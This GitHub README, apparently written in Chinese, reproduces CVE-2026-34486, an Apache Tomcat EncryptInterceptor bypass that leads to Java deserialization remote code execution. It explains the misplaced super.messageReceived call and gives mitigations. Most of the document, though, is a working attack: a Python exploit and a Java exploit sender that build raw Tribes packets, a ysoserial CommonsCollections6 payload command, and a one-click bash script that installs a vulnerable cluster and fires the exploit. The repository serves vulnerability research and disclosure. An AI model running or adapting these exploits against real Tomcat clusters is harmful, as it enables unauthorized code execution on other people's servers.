AirSkye/CVE-2026-34486-poc

GitHub: AirSkye/CVE-2026-34486-poc

一个演示 CVE-2026-34486 的 Apache Tomcat 加密拦截器绕过与反序列化 RCE 复现项目。

Stars: 5 | Forks: 0

# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现 ## 一、漏洞概述 | 属性 | 详情 | |---|---| | CVE 编号 | CVE-2026-34486 | | 严重程度 | Important / High(CVSS 3.1: 7.5) | | 漏洞类型 | CWE-311 敏感数据缺失加密 / CWE-807 不可信输入约束 | | 受影响版本 | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 | | 修复版本 | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 | | 根因 | `EncryptInterceptor.messageReceived()` 中 `super.messageReceived(msg)` 被移到 try-catch 块外部 | ### 漏洞根因 修复 CVE-2026-29146(Padding Oracle)时,开发者重构 `EncryptInterceptor.messageReceived()` 方法,将 `super.messageReceived(msg)` 从 `try` 块**内部**移到了**外部**: **修复前(安全):** ``` public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } } ``` **漏洞代码(危险):** ``` public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,但执行流继续! } super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行! } ``` **字节码验证**(来自 Tomcat 9.0.116 的 `EncryptInterceptor.class`): ``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException // 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived ``` ## 二、复现环境 | 组件 | 版本/配置 | |---|---| | 操作系统 | Ubuntu 22.04 (沙箱环境) | | JDK | OpenJDK 20 (Zulu) | | Tomcat | 9.0.116(漏洞版本) | | Gadget 库 | Commons Collections 3.1 | | 攻击工具 | ysoserial v0.0.6 + 自定义 Python/Java PoC | ### 环境拓扑 ``` 同一台机器上运行两个 Tomcat 实例: - Node1: HTTP 18080, Tribes TCP 4000 - Node2: HTTP 28080, Tribes TCP 4001 两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信 ``` ## 三、详细复现步骤 ### 步骤 1:下载并安装漏洞版本 Tomcat ``` # 下载 Tomcat 9.0.116 wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz # 解压两份 tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2 ``` ### 步骤 2:安装 Gadget 库 ``` # 下载 Commons Collections 3.1 wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar # 放入 Tomcat lib 目录 cp commons-collections-3.1.jar tomcat-node1/lib/ cp commons-collections-3.1.jar tomcat-node2/lib/ ``` ### 步骤 3:配置集群 + EncryptInterceptor 编辑 `tomcat-node1/conf/server.xml`,在 `` 内添加: ``` ``` ### 步骤 4:启用 Session 复制 在 `webapps/ROOT/WEB-INF/web.xml` 中添加: ``` ``` ### 步骤 5:启动 Tomcat 集群 ``` # 启动 Node1 cd tomcat-node1 && bin/catalina.sh start # 启动 Node2 cd tomcat-node2 && bin/catalina.sh start # 验证集群建立 # 日志中应出现: "Replication member added: ..." # 端口 4000/4001 应监听中 ``` **实际启动日志确认:** ``` WARNING [main] EncryptInterceptor.createEncryptionManager The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding]. It is recommended to switch to using AES/GCM/NoPadding. INFO [main] ReceiverBase.bind Receiver Server Socket bound to:[/172.24.0.7:4000] INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]] ``` ### 步骤 6:生成反序列化 Payload ``` # 使用 ysoserial 生成 CommonsCollections6 gadget chain # (CC6 在 Java 高版本兼容性更好) java --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED" \ > payload_touch.bin # 验证 payload 以 Java 序列化魔术字节开头 python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced " ``` ### 步骤 7:构造并发送 Tribes 协议消息 Tribes 消息需要特定的 XByteBuffer 帧封装格式: ``` [START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)] ``` 其中 ChannelData 载荷结构: ``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体] ``` **关键**:消息体直接放入未加密的 Java 序列化 payload,这就是漏洞利用的核心——EncryptInterceptor 会尝试解密,失败后仍将原始字节传递给后续链。 #### 方式一:Python PoC 脚本 (`exploit.py`) ``` #!/usr/bin/env python3 """ CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC 漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了 try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。 用于授权的安全研究环境,严禁用于非法用途。 """ import socket import struct import sys import os import time # ==================== Tribes 协议常量 ==================== START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes) END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes) TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes) TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes) def build_member_data(host_bytes, port): """构造 MemberImpl 序列化数据""" inner = b"" inner += struct.pack(">q", 0) # memberAliveTime (8B) inner += struct.pack(">i", port) # port (4B) inner += struct.pack(">i", 0) # securePort (4B) inner += struct.pack(">i", 0) # udpPort (4B) inner += struct.pack(">b", len(host_bytes)) # hostLen (1B) inner += host_bytes # host inner += struct.pack(">i", 0) # commandLen (4B) inner += struct.pack(">i", 0) # domainLen (4B) inner += os.urandom(16) # uniqueId (16B) inner += struct.pack(">i", 0) # payloadLen (4B) return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END def build_channel_data(message_body, host_bytes, port): """构造 ChannelData 载荷""" unique_id = os.urandom(16) member_data = build_member_data(host_bytes, port) channel_data = b"" channel_data += struct.pack(">i", 0) # options (无 ACK) channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp channel_data += struct.pack(">i", len(unique_id)) # uniqueIdLen channel_data += unique_id # uniqueId channel_data += struct.pack(">i", len(member_data)) # memberDataLen channel_data += member_data # memberData channel_data += struct.pack(">i", len(message_body)) # messageLen channel_data += message_body # message body return channel_data def build_tribes_packet(channel_data): """封装 XByteBuffer 帧""" return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA def send_exploit(target_ip, target_port, payload_file, receiver_port=4000): print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass") print(f"[*] 目标: {target_ip}:{target_port}") print(f"[*] Payload: {payload_file}") # 读取 payload with open(payload_file, 'rb') as f: raw_payload = f.read() print(f"[*] Payload 大小: {len(raw_payload)} bytes") print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}") if raw_payload[:2] != b'\xac\xed': print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头") # 解析目标 IP 为字节数组 host_bytes = socket.inet_aton(target_ip) # 构造 Tribes 消息 # 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链 # 因此我们直接发送未加密的 Java 序列化 payload 作为消息体 channel_data = build_channel_data(raw_payload, host_bytes, receiver_port) packet = build_tribes_packet(channel_data) print(f"[*] 完整数据包大小: {len(packet)} bytes") print(f"[*] 连接到 {target_ip}:{target_port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] 发送 {len(packet)} 字节的数据包...") sock.sendall(packet) print("[+] 数据包发送成功!") print("[*] 等待目标处理...") # 等待可能的响应或 ACK try: response = sock.recv(4096) if response: print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}") except socket.timeout: pass sock.close() print("[+] 连接关闭") print() print("[*] 漏洞触发标志:") print(" 1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)") print(" 2. 随后发生反序列化 -> RCE") print(" 3. 没有反序列化异常日志(静默执行)") except ConnectionRefusedError: print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放") sys.exit(1) except Exception as e: print(f"[-] 错误: {e}") sys.exit(1) if __name__ == '__main__': if len(sys.argv) < 4: print(f"用法: {sys.argv[0]} [receiver_port]") print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin") print(f" {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) payload_file = sys.argv[3] receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port if not os.path.exists(payload_file): print(f"[-] Payload 文件不存在: {payload_file}") sys.exit(1) send_exploit(target_ip, target_port, payload_file, receiver_port) ``` **使用方法:** ``` python3 exploit.py 172.24.0.7 4000 payload_touch.bin ``` #### 方式二:Java PoC 脚本 (`ExploitSender.java`) ``` import org.apache.catalina.tribes.Channel; import org.apache.catalina.tribes.ChannelListener; import org.apache.catalina.tribes.Member; import org.apache.catalina.tribes.group.GroupChannel; import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor; import org.apache.catalina.tribes.transport.Constants; import java.io.Serializable; /** * CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload * 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外 * 解密失败后,原始未加密字节仍被传递给后续处理链 */ public class ExploitSender { public static void main(String[] args) throws Exception { if (args.length < 2) { System.out.println("用法: java ExploitSender "); System.exit(1); } String targetHost = args[0]; int targetPort = Integer.parseInt(args[1]); String payloadFile = args.length > 2 ? args[2] : null; System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass"); System.out.println("[*] 目标: " + targetHost + ":" + targetPort); // 读取 payload java.io.File f = new java.io.File(payloadFile); java.io.FileInputStream fis = new java.io.FileInputStream(f); byte[] payload = new byte[(int) f.length()]; fis.read(payload); fis.close(); System.out.println("[*] Payload 大小: " + payload.length + " bytes"); System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1])); // 直接通过 TCP 发送 Tribes 格式的消息 // 构造 ChannelData 数据包 java.net.Socket sock = new java.net.Socket(targetHost, targetPort); java.io.OutputStream out = sock.getOutputStream(); // 使用 Tribes 内部格式发送 // XByteBuffer 帧格式: [START_DATA][length][data][END_DATA] byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002" byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33}; // "TLF003" // 构造 ChannelData 载荷 java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); java.io.DataOutputStream dos = new java.io.DataOutputStream(baos); // options (4B) dos.writeInt(0); // timestamp (8B) dos.writeLong(System.currentTimeMillis()); // uniqueId length + uniqueId (4B + 16B) byte[] uniqueId = new byte[16]; new java.util.Random().nextBytes(uniqueId); dos.writeInt(uniqueId.length); dos.write(uniqueId); // member data - 构造最小的 MemberImpl java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream(); java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos); byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes(); byte[] TRIBES_MBR_END = "TRIBES-E".getBytes(); // MemberImpl inner data java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream(); java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos); innerDos.writeLong(0); // memberAliveTime innerDos.writeInt(targetPort); // port innerDos.writeInt(0); // securePort innerDos.writeInt(0); // udpPort byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress(); innerDos.writeByte(hostBytes.length); // hostLen innerDos.write(hostBytes); // host innerDos.writeInt(0); // commandLen innerDos.writeInt(0); // domainLen innerDos.write(new byte[16]); // uniqueId (16B) innerDos.writeInt(0); // payloadLen innerDos.flush(); byte[] innerData = innerBaos.toByteArray(); // Full member data memberDos.write(TRIBES_MBR_BEGIN); memberDos.writeByte(0x01); memberDos.writeByte(0x00); memberDos.writeInt(innerData.length); memberDos.write(innerData); memberDos.write(TRIBES_MBR_END); memberDos.writeByte(0x01); memberDos.writeByte(0x00); memberDos.flush(); byte[] memberData = memberBaos.toByteArray(); // Write member data length + data dos.writeInt(memberData.length); dos.write(memberData); // Write message body length + payload (未加密的序列化数据) dos.writeInt(payload.length); dos.write(payload); dos.flush(); byte[] channelData = baos.toByteArray(); // 构造完整帧 java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream(); frameBaos.write(START_DATA); // length as 4 bytes big-endian frameBaos.write(new byte[]{ (byte) ((channelData.length >> 24) & 0xFF), (byte) ((channelData.length >> 16) & 0xFF), (byte) ((channelData.length >> 8) & 0xFF), (byte) (channelData.length & 0xFF) }); frameBaos.write(channelData); frameBaos.write(END_DATA); byte[] packet = frameBaos.toByteArray(); System.out.println("[*] 完整数据包大小: " + packet.length + " bytes"); System.out.println("[*] 发送数据包..."); out.write(packet); out.flush(); System.out.println("[+] 数据包发送成功!"); // 等待响应 Thread.sleep(2000); sock.close(); System.out.println("[+] 连接关闭"); } } ``` **编译与运行:** ``` # 编译(需要 catalina-tribes.jar 在 classpath 中) javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java # 运行 java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin ``` ### 步骤 8:验证漏洞触发 **受害者日志(解密失败 + 消息仍被传递):** ``` 15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4] org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived Failed to decrypt message javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890) at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729) ... at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134) ``` **RCE 成功验证(标志文件已创建):** ``` $ ls -la /tmp/CVE-2026-34486-PWNED -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED ``` ## 四、漏洞利用链完整图解 ``` 攻击者 │ │ TCP 连接到 172.24.0.7:4000 │ 发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003) │ ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget) │ ▼ NioReceiver │ 解帧: 识别 FLT2002/TLF003,提取 ChannelData │ ChannelData.getDataFromPackage() 解析消息 ▼ ChannelCoordinator.messageReceived() │ 沿拦截器链向上传递 ▼ TcpFailureDetector.messageReceived() ▼ EncryptInterceptor.messageReceived() ← 漏洞点 │ │ try { │ data = msg.getMessage().getBytes(); // 获取 payload 原始字节 │ data = encryptionManager.decrypt(data); // ❌ 解密失败! │ // → 抛出 IllegalBlockSizeException │ } catch (GeneralSecurityException gse) { │ log.error("Failed to decrypt message"); // 仅记录日志 │ // 异常被吞,执行流继续 │ } │ │ super.messageReceived(msg); ← 💀 在 try-catch 外,仍会执行! │ msg 中仍是攻击者的原始字节 ▼ MessageDispatchInterceptor.messageReceived() ▼ GroupChannel.messageReceived() │ 反序列化: ObjectInputStream.readObject() ← 无类过滤! ▼ CommonsCollections6 Gadget Chain 执行 │ Runtime.exec("touch /tmp/CVE-2026-34486-PWNED") ▼ RCE 成功 ✅ ``` ## 五、关键证据汇总 ### 5.1 漏洞代码字节码证据 从 Tomcat 9.0.116 的 `EncryptInterceptor.class` 反编译: | 偏移 | 指令 | 含义 | |------|------|------| | 0-38 | `try` 块内容 | `decrypt()` + 消息体替换 | | 39 | `goto 60` | try 块正常结束跳转 | | 42-58 | `catch` 块 | 捕获 `GeneralSecurityException`,仅 log.error | | **60** | **`aload_0, aload_1`** | **加载 this 和 msg** | | **62** | **`invokespecial #136`** | **`super.messageReceived(msg)`** | Exception table: `from=0, to=39, target=42` — 偏移 60 明确在 try 范围之外。 ### 5.2 运行时证据 | 证据 | 内容 | |------|------| | 解密失败日志 | `SEVERE: Failed to decrypt message` + `IllegalBlockSizeException` | | RCE 标志文件 | `/tmp/CVE-2026-34486-PWNED` 创建于 `Apr 15 03:46` | | 反序列化异常日志 | **无** — payload 静默执行 | ### 5.3 攻击静默性 日志中**仅有** `EncryptInterceptor.decrypt.failed` 一条 SEVERE 记录,**没有任何反序列化异常**。这意味着: - 防御者如果只关注反序列化异常,不会发现攻击 - 唯一的线索是 "Failed to decrypt message",在启用了 EncryptInterceptor 的环境中可能被误认为是网络问题 ## 六、修复方案 ### 6.1 官方修复 升级到修复版本:Tomcat **9.0.117** / **10.1.54** / **11.0.21**。 修复方法:将 `super.messageReceived(msg)` 移回 `try` 块内部,确保只有解密成功的消息才会被传递。 ### 6.2 临时缓解措施 如果无法立即升级: 1. **网络层面**:使用防火墙限制 Tribes 通信端口(默认 TCP 4000)仅允许集群节点 IP 访问 2. **移除 EncryptInterceptor**:如果不需要集群加密,移除该拦截器(但这会失去加密保护) 3. **添加序列化过滤器**:在 JVM 层面添加 `ObjectInputFilter` 限制可反序列化的类 ## 七、复现环境清理 ``` # 停止 Tomcat tomcat-node1/bin/shutdown.sh tomcat-node2/bin/shutdown.sh # 清理标志文件 rm -f /tmp/CVE-2026-34486-PWNED # 清理整个环境 rm -rf tomcat-lab/ ``` ## 八、总结 CVE-2026-34486 是一个由**一行代码位移**引入的高危回归漏洞。它完美诠释了"安全修复本身可能引入新的安全缺陷"这一规律: 1. **修复 Padding Oracle(CVE-2026-29146)** → 重构加密管理器 2. **重构过程中代码位移** → `super.messageReceived(msg)` 移出 try 块 3. **加密拦截器完全失效** → 未加密字节被直接传递给无过滤的反序列化入口 4. **结果**:刻意启用加密保护的集群反而成为最容易受到 RCE 攻击的目标 本次复现完整验证了从发送未加密 payload 到 RCE 成功的全链路,证明了该漏洞的实际可利用性。 ## 九、一键复现脚本 ``` #!/usr/bin/env bash #=============================================================================== # CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本 # # 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) # 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链, # 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。 # # 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 # # 本脚本仅用于授权的安全研究环境,严禁用于非法用途。 #=============================================================================== set -e # ==================== 配置区 ==================== TOMCAT_VERSION="9.0.116" TOMCAT_MAJOR="9" WORKDIR="/opt/cve-2026-34486-lab" NODE1_HTTP_PORT=18080 NODE2_HTTP_PORT=28080 NODE1_SHUTDOWN_PORT=18005 NODE2_SHUTDOWN_PORT=18005 NODE1_TRIBES_PORT=4000 NODE2_TRIBES_PORT=4001 ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # "ThisIsASecretKey" 的十六进制 RCE_MARKER="/tmp/CVE-2026-34486-PWNED" YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar" CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar" # ==================== 颜色输出 ==================== RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' info() { echo -e "${CYAN}[*]${NC} $1"; } ok() { echo -e "${GREEN}[+]${NC} $1"; } warn() { echo -e "${YELLOW}[!]${NC} $1"; } fail() { echo -e "${RED}[-]${NC} $1"; exit 1; } # ==================== 1. 检测并安装依赖 ==================== info "步骤 1/8: 检测并安装依赖..." # 检测 root if [ "$EUID" -ne 0 ]; then fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)" fi # 安装基础工具 apt-get update -qq apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1 # 验证 Java export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac)))) java -version 2>&1 | head -1 ok "Java 已就绪: $JAVA_HOME" # 验证 Python3 python3 --version ok "Python3 已就绪" # ==================== 2. 创建工作目录 ==================== info "步骤 2/8: 创建工作目录..." rm -rf "$WORKDIR" mkdir -p "$WORKDIR" cd "$WORKDIR" # ==================== 3. 下载 Tomcat 漏洞版本 ==================== info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..." TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz" wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接" ok "Tomcat ${TOMCAT_VERSION} 下载完成" tar -xzf tomcat.tar.gz cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1 cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2 ok "Tomcat 解压完成 (两个节点)" # ==================== 4. 安装 Gadget 库 ==================== info "步骤 4/8: 下载 Commons Collections 3.1..." wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败" cp commons-collections-3.1.jar tomcat-node1/lib/ cp commons-collections-3.1.jar tomcat-node2/lib/ ok "Commons Collections 3.1 已安装到两个节点" # ==================== 5. 下载 ysoserial ==================== info "步骤 5/8: 下载 ysoserial..." wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败" ok "ysoserial 下载完成" # ==================== 6. 配置 Tomcat 集群 ==================== info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..." # Node1 server.xml cat > /tmp/node1-server.xml.patch.py << 'PYEOF' import re, sys with open(sys.argv[1], 'r') as f: xml = f.read() # 修改 HTTP 端口 xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1) # 修改 shutdown 端口 xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1) # 在 标签后插入集群配置 cluster_xml = ''' ''' # 替换被注释的 Cluster 占位符 xml = re.sub( r'', cluster_xml, xml, flags=re.DOTALL ) with open(sys.argv[1], 'w') as f: f.write(xml) PYEOF python3 /tmp/node1-server.xml.patch.py \ "$WORKDIR/tomcat-node1/conf/server.xml" \ "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \ "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT" python3 /tmp/node1-server.xml.patch.py \ "$WORKDIR/tomcat-node2/conf/server.xml" \ "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \ "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT" ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})" # 创建 web.xml (启用 Session 复制) for node in tomcat-node1 tomcat-node2; do mkdir -p "$node/webapps/ROOT/WEB-INF" cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF' XMLEOF done ok "web.xml 配置完成 (distributable)" # ==================== 7. 启动集群并攻击 ==================== info "步骤 7/8: 启动 Tomcat 集群..." chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh export JAVA_HOME cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start cd "$WORKDIR" info "等待集群启动 (15秒)..." sleep 15 # 检查端口 if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败" fi ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听" # 获取本机 IP LOCAL_IP=$(hostname -I | awk '{print $1}') info "本机 IP: ${LOCAL_IP}" # 生成 payload info "生成反序列化 Payload (CommonsCollections6)..." # 检测 Java 主版本,决定是否需要 --add-opens JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1) ADD_OPENS="" if [ "$JAVA_MAJOR" -ge 16 ]; then ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED" fi $JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \ CommonsCollections6 "touch ${RCE_MARKER}" \ > "$WORKDIR/payload_touch.bin" 2>/dev/null if [ ! -s "$WORKDIR/payload_touch.bin" ]; then fail "Payload 生成失败" fi ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)" # 编写 Python PoC cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT' #!/usr/bin/env python3 """CVE-2026-34486 PoC - EncryptInterceptor Bypass""" import socket, struct, sys, os, time START_DATA = b"FLT2002" END_DATA = b"TLF003" TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" TRIBES_MBR_END = b"TRIBES-E\x01\x00" def build_member_data(host_bytes, port): inner = b"" inner += struct.pack(">q", 0) inner += struct.pack(">i", port) inner += struct.pack(">i", 0) inner += struct.pack(">i", 0) inner += struct.pack(">b", len(host_bytes)) inner += host_bytes inner += struct.pack(">i", 0) inner += struct.pack(">i", 0) inner += os.urandom(16) inner += struct.pack(">i", 0) return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END def build_channel_data(message_body, host_bytes, port): unique_id = os.urandom(16) member_data = build_member_data(host_bytes, port) cd = b"" cd += struct.pack(">i", 0) cd += struct.pack(">q", int(time.time() * 1000)) cd += struct.pack(">i", len(unique_id)) cd += unique_id cd += struct.pack(">i", len(member_data)) cd += member_data cd += struct.pack(">i", len(message_body)) cd += message_body return cd def send_exploit(target_ip, target_port, payload_file, receiver_port): with open(payload_file, 'rb') as f: raw_payload = f.read() host_bytes = socket.inet_aton(target_ip) channel_data = build_channel_data(raw_payload, host_bytes, receiver_port) packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.sendall(packet) try: sock.recv(4096) except socket.timeout: pass sock.close() if __name__ == '__main__': send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4])) PYEXPLOIT chmod +x "$WORKDIR/exploit.py" # 发送攻击 info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..." python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT" info "等待攻击生效 (5秒)..." sleep 5 # ==================== 8. 验证结果 ==================== info "步骤 8/8: 验证漏洞触发..." echo "" echo "======================================================================" echo -e "${RED} CVE-2026-34486 复现结果${NC}" echo "======================================================================" echo "" # 检查 RCE 标志文件 if [ -f "$RCE_MARKER" ]; then echo -e " ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:" echo "" ls -la "$RCE_MARKER" echo "" else echo -e " ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在" echo "" fi # 检查受害者日志 echo " 受害者日志 (解密失败记录):" echo " ----------------------------------------------------------------------" grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo " (未找到解密失败日志)" echo "" echo " 受害者日志 (EncryptInterceptor 启动确认):" echo " ----------------------------------------------------------------------" grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (未找到 EncryptInterceptor 日志)" echo "" echo " 受害者日志 (集群成员发现):" echo " ----------------------------------------------------------------------" grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (未找到集群成员日志)" echo "" # 检查是否有反序列化异常(不应该有) if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then echo -e " ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}" else echo -e " ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}" fi echo "" echo "======================================================================" echo "" echo " 环境信息:" echo " - 工作目录: ${WORKDIR}" echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}" echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}" echo " - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)" echo " - RCE 标志: 